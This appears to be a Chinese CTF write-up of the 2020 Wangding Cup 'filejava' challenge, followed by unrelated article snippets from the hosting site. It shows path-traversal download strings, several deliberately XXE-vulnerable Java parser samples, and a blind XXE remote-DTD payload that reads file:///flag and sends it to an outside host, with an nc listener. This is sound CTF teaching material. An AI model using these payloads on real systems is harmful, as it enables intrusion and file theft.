网鼎杯2020青龙组——filejava通关思路

news2024/11/19 2:36:30

目录

1、启动靶场,访问页面

2、BP抓包

(三)代码审计

1.XMLReader

 2.SAXBuilder

3.SAXReader

4.SAXParserFactory

5.Digester

6.DocumentBuilderFactory

漏洞利用

0x01 判断是否带外执行

0x02 尝试读取内容


1、启动靶场,访问页面

 

图 1-1 前端显示页面

2、BP抓包

        我们先尝试随便上传一个文件,发现它会返回一个文件的下载地址,即下载漏洞

图 1-2 返回的下载地址

 

先下载配置性文件web.xml

../../../WEB-INF/web-xml

通过配置文件,来下载class文件

../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

(三)代码审计


图 3-1 导入poi接口

 查看里面的代码也有一定的提示:

图 3-2 err处有提示

 

熟悉java代码审计的师傅,应该很快反应过来了xxe漏洞主要看加载包,函数名。像如下关键接口:

1XMLReader


        XMLReader 接口是一种通过回调读取 XML 文档的接口,其存在于公共区域中。XMLReader 接口是 XML 解析器实现 SAX2 驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader 使用默认的解析方法并且未对 XML 进行过滤时,会出现 XXE 漏洞。

try { 
     XMLReader xmlReader = XMLReaderFactory.createXMLReader();
         xmlReader.parse(new InputSource(new StringReader(body))); 
        } catch (Exception e) { 
                 return EXCEPT; 
}

 2SAXBuilder


        SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用 SAXHandler 的实例侦听 SAX 事件。当 SAXBuilder 使用默认的解析方法并且未对 XML 进行过滤时,会出现XXE 漏洞。
 try { 
         String body = WebUtils.getRequestBody(request); 
             logger.info(body); 
         SAXBuilder builder = new SAXBuilder(); 
         // org.jdom2.Document document 
             builder.build(new InputSource(new StringReader(body))); // cause xxe 
                 return "SAXBuilder xxe vuln code"; 
         } catch (Exception e) { 
             logger.error(e.toString()); 
             return EXCEPT; 
 }

3SAXReader


        DOM4J 是 dom4j.org 出品的一个开源 XML 解析包,使用起来非常简单,只要了解基本的 XML-DOM 模型,就能使用。 DOM4J / XML 文档主要依赖于 org.dom4j.io 包,它有DOMReader SAXReader 两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对 XML 进行过滤时,其也会出现 XXE 漏洞。
try { 
         String body = WebUtils.getRequestBody(request); 
         logger.info(body); 
         SAXReader reader = new SAXReader(); 
         // org.dom4j.Document document 
             reader.read(new InputSource(new StringReader(body))); // cause xxe 
     } catch (Exception e) { 
             logger.error(e.toString()); 
             return EXCEPT; 
 }

4SAXParserFactory


        SAXParserFactory 使应用程序能够配置和获取基于 SAX 的解析器以解析 XML 文档。其受保护的构造方法,可以强制使用 newInstance() 。跟上面介绍的一样,在使用默认解析方法且未对 XML 进行过滤时,其也会出现 XXE 漏洞。
try { 
         String body = WebUtils.getRequestBody(request); 
             logger.info(body); 
         SAXParserFactory spf = SAXParserFactory.newInstance(); 
         SAXParser parser = spf.newSAXParser(); 
             parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
             return "SAXParser xxe vuln code"; 
     } catch (Exception e) { 
             logger.error(e.toString()); 
             return EXCEPT; 
 }

5Digester


        Digester 类用来将 XML 映射成 Java 类,以简化 XML 的处理。它是 Apache Commons库中的一个 jar 包: common-digester 包。一样的在默认配置下会出现 XXE 漏洞。其触发的 XXE 漏洞是没有回显的,我们一般需通过 Blind XXE 的方法来利用:
try { 
         String body = WebUtils.getRequestBody(request); 
             logger.info(body); 
         Digester digester = new Digester(); 
             digester.parse(new StringReader(body)); // parse xml 
     } catch (Exception e) { 
             logger.error(e.toString()); 
             return EXCEPT; 
 }

6DocumentBuilderFactory


        javax.xml.parsers 包中的 DocumentBuilderFactory 用于创建 DOM 模式的解析器对象, DocumentBuilderFactory 是一个抽象工厂类,它不能直接实例化,但该类提供了newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
try { 
         String body = WebUtils.getRequestBody(request); 
             logger.info(body); 
         DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 
         DocumentBuilder db = dbf.newDocumentBuilder(); 
         StringReader sr = new StringReader(body); 
         InputSource is = new InputSource(sr); 
         Document document = db.parse(is); // parse xml 
         // 遍历 xml 节点 name 和 value 
         StringBuffer buf = new StringBuffer(); 
         NodeList rootNodeList = document.getChildNodes(); 
         for (int i = 0; i < rootNodeList.getLength(); i++) { 
                 Node rootNode = rootNodeList.item(i); 
                 NodeList child = rootNode.getChildNodes(); 
             for (int j = 0; j < child.getLength(); j++) { 
                         Node node = child.item(j); 
                    buf.append(node.getNodeName() + ":" + node.getTextContent() + "\n");
                     } 
                 } 
         sr.close(); 
         return buf.toString(); 
             }catch (Exception e) { 
         logger.error(e.toString()); 
         return EXCEPT; 
 }

漏洞利用

0x01 判断是否带外执行

图 3-1 利用代码

 

在dnslog平台申请一个域名,点击上传会有数据外带,说明该程序存在漏洞,我们接下来就是要判断是有回显还是没有回显。

0x02 尝试读取内容

图 3-2 尝试读取敏感文件

 

最终判断没有回显,尝试进行反弹shell

1、远程DTD

<DOCTYPE convert[
<!ENTITY %remote SYSTEM "http://www.jinyouxin.com/xxx.dtd">
%remote;%int;%send
]>
<root>&send</send>

2、进行反弹

<!ENTITY %file SYSTEM "file:///flag">
<!ENTITY %int "<!ENTITY &#37;send SYSTEM 'http://www.jinyouxin.com:3333/%file;'>">

3、进行监听

nc -lvvp 3333
图 3-3 数据成功回显

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/125052.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++--数据结构--图解B树--B+树--B*树--0718 19

1、常见的搜索结构 种类 数据格式时间复杂度顺序查找无要求O(N)二分查找有序O(log_2 N)二叉搜索树无要求O(log_2 N)二叉平衡树无要求O(log_2 N)哈希无要求O(1) 如果数据量很大&#xff0c;比如有100G数据&#xff0c;无法一次放进内存中&#xff0c;那就只能放在磁盘上了…

互联网+时代的到来,让一站式婚庆管理系统成为潮流

自20世纪90年代初中国第一家婚庆公司成立至今&#xff0c;婚庆市场是越做越大。作为新兴产业的婚庆行业蕴藏着巨大的商机&#xff0c;婚庆市场空间日趋扩大&#xff0c;婚庆产业逐渐成为前景看好的朝阳产业。因此&#xff0c;市面上的婚庆企业也越来越多。但是想要在众多同行中…

Codeforces Round #841 (Div. 2) and Divide by Zero 2022 A-D

等System test的时候顺便水一篇吧233&#xff0c;感觉题目挺好的&#xff0c;但是我C、D都快要调完了&#xff0c;还是难受。 应该是我参加的今年最后一场比赛了。 Codeforces Round #841 (Div. 2) and Divide by Zero 2022 A. Joey Takes Money #include<bits/stdc.h&g…

数字射线检测图像质量

对比度 物体对比度 ΔI/I−μΔT/(1n)\Delta I/I -\mu \Delta T /(1n)ΔI/I−μΔT/(1n) 屏幕亮度 LkILkILkI 人眼感觉到的亮度 BKlnLBKln LBKlnL 人眼感觉到的亮度对比度 ΔBKln((LΔL)/L)\Delta B K ln((L\Delta L)/L)ΔBKln((LΔL)/L) 其中&#xff0c;III为射线强度 ΔB…

杭州市 智慧城市物联网支撑平台 功能规范 附下载地址

智慧城市物联网介绍 智慧城市是一个有机结合的大系统&#xff0c;涵盖了更透切的感知、更全面的互连&#xff0c;更深入的智能。物联网是智慧城市中非常重要的元素&#xff0c;它侧重于底层感知信息的采集与传输&#xff0c;城市范围内泛在网方面的建设。 通过智慧城市物联网支…

curl升级到7.87(centos7和TencentOS2.4 tk)

centos7升级curl到7.8.7,按照之前写过的一篇文章,大致按描述操作即可。只不过需要做一点点修正... CentOS 7升级curl_乐大师的博客-CSDN博客_centos7 curl升级 更新操作中会报错安装失败,提示如下: 针对这个问题只需要增加一个参数即可解决。 yum -y update curl --ena…

Linux系统安装Redis(实现远程登录)

目录 &#xff08;一&#xff09;下载和安装 &#xff08;二&#xff09;配置redis.con配置文件 1&#xff0c;开启远程连接有以下三步&#xff1a; 2&#xff0c;配置登录密码 ​&#xff08;三&#xff09;开放端口 1&#xff0c;开放Linux系统上的3306端口 2&#xff0…

记录一次Tomcat靶机渗透

Apache Tomcat&#xff0c;是世界上最广泛使用的Java Web服务器之一。带有默认配置的Tomcat服务器非常容易发现。发现暴露Web应用管理器的服务器也非常容易&#xff0c;它是一个应用&#xff0c;允许管理员启动、停止、添加和删除服务器中的应用。 信息搜集 第一步&#xff1a…

频谱分析误差主要表现在三个方面

频谱分析仪是研究电信号频谱结构的仪器&#xff0c;用于信号失真度、调制度、谱纯度、频率稳定度和交调失真等信号参数的测量&#xff0c;可用以测量放大器和滤波器等电路系统的某些参数&#xff0c;是一种多用途的电子测量仪器。它又可称为频域示波器、跟踪示波器、分析示波器…

基于python多光谱遥感数据处理、图像分类、定量评估及机器学习方法

普通数码相机记录了红、绿、蓝三种波长的光&#xff0c;多光谱成像技术除了记录这三种波长光之外&#xff0c;还可以记录其他波长&#xff08;例如&#xff1a;近红外、热红外等&#xff09;光的信息。与昂贵、不易获取的高光谱、高空间分辨率卫星数据相比&#xff0c;中等分辨…

【蚂蚁】Alluxio在蚂蚁集团大规模训练中的应用

本期内容我们邀请到了来自蚂蚁集团的开发工程师陈传迎老师&#xff0c;给大家分享Alluxio在蚂蚁集团是如何支持大规模模型训练的。 首先是关于引入Alluxio的背景&#xff1a; 为什么要引入Alluxio&#xff1f;Alluxio到底解决了什么问题&#xff1f; 带着这些问题&#xff0…

USDP使用笔记(八)Flink配置及简单测试

Flink配置Flink配置及简单测试 上一篇&#xff1a;https://lizhiyong.blog.csdn.net/article/details/123560865 将USDP2.0自带的Flink更换为Flink1.14后&#xff0c;还没有来得及改配置。不改配置用起来是有问题的&#xff0c;所以。。。本文主要就是改配置及简单测试效果。 …

基于ssm框架实现的Java web在线考试系统

一、项目简介 本项目是一套基于ssm框架实现的Java web在线考试系统&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的Java学习者。 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&…

HITCON2022--ctf驱动逆向题

作者&#xff1a;selph HITCON CTF 2022 Writeup-checker 挺有意思的一道题&#xff0c;这里的关键函数是使用的动态生成执行操作&#xff0c;按照特定参数序列进行解密才能正常执行&#xff0c;否则一定会报错异常 checker 一共给了两个文件&#xff1a;checker.exe和chec…

VR数字政务:多功能一体化,政务服务更便民

越来越多的政务单位都是通过网络等线上信息化渠道&#xff0c;进行政务的推进以及落实、查询等功能的实施&#xff0c;在实际的政务应用中&#xff0c;VR技术可以打造集实景导航、窗口查询、在线申报等多功能为一体&#xff0c;实现数据多跑腿、群众少跑腿&#xff0c;有效提高…

Nginx 01篇——Nginx详细安装步骤以及Nginx各种启动方式

Nginx 01篇——Nginx详细安装步骤以及Nginx各种启动方式1. 前言2. 下载安装2.1 下载安装包2.2 安装2.2.1 离线安装2.2.1.1 安装步骤2.2.1.2 安装问题2.2.2 先安装所需依赖2.2.3 直接 yum 安装2.2.4 指定安装目录安装3. nginx 启动4. 启动后访问5. Nginx 启动等简单命令5.1 启动…

SVN,Git与Helix Core,谁的数据管理基础设施更安全?

2022年2月底&#xff0c;全球知名的半导体芯片公司英伟达被爆遭到勒索软件攻击&#xff0c;不久后&#xff0c;英伟达公司官方证实遭到入侵&#xff0c;攻击者已开始在线泄露员工凭据和私密信息。勒索软件组织表示&#xff0c;如果英伟达拒绝支付高达100万美元的赎金&#xff0…

写在2022年的末尾

今年是我人生的第24个年头。 最近了解稚晖君&#xff0c;xinglu师兄&#xff0c;以及很多优秀的同辈人的事迹之后&#xff0c;感觉到自己还差了很远。 读研已经过半&#xff0c;研二已经到了第二个学期&#xff0c;而自己还什么成果都没有。甚至开题的事情到现在都还没有头绪。…

C++简介

C是一种计算机高级程序设计语言&#xff0c;由C语言扩展升级而产生 &#xff0c;最早于1979年由本贾尼斯特劳斯特卢普在AT&T贝尔工作室研发。 C既可以进行C语言的过程化程序设计&#xff0c;又可以进行以抽象数据类型为特点的基于对象的程序设计&#xff0c;还可以进行以…

计算机英文论文怎么做降重? - 易智编译EaseEditing

人工降重一定要找靠谱的机构做。 降重是很耗费精力和时间的学术服务。 而那些没有口碑且不专业的商家&#xff0c;真的会花费那么多心思来仔细琢磨你的论文吗&#xff1f; 那些没有声誉的非专业商家给论文降重会产生很多弊端&#xff1a; &#xff08;1&#xff09;他们为了…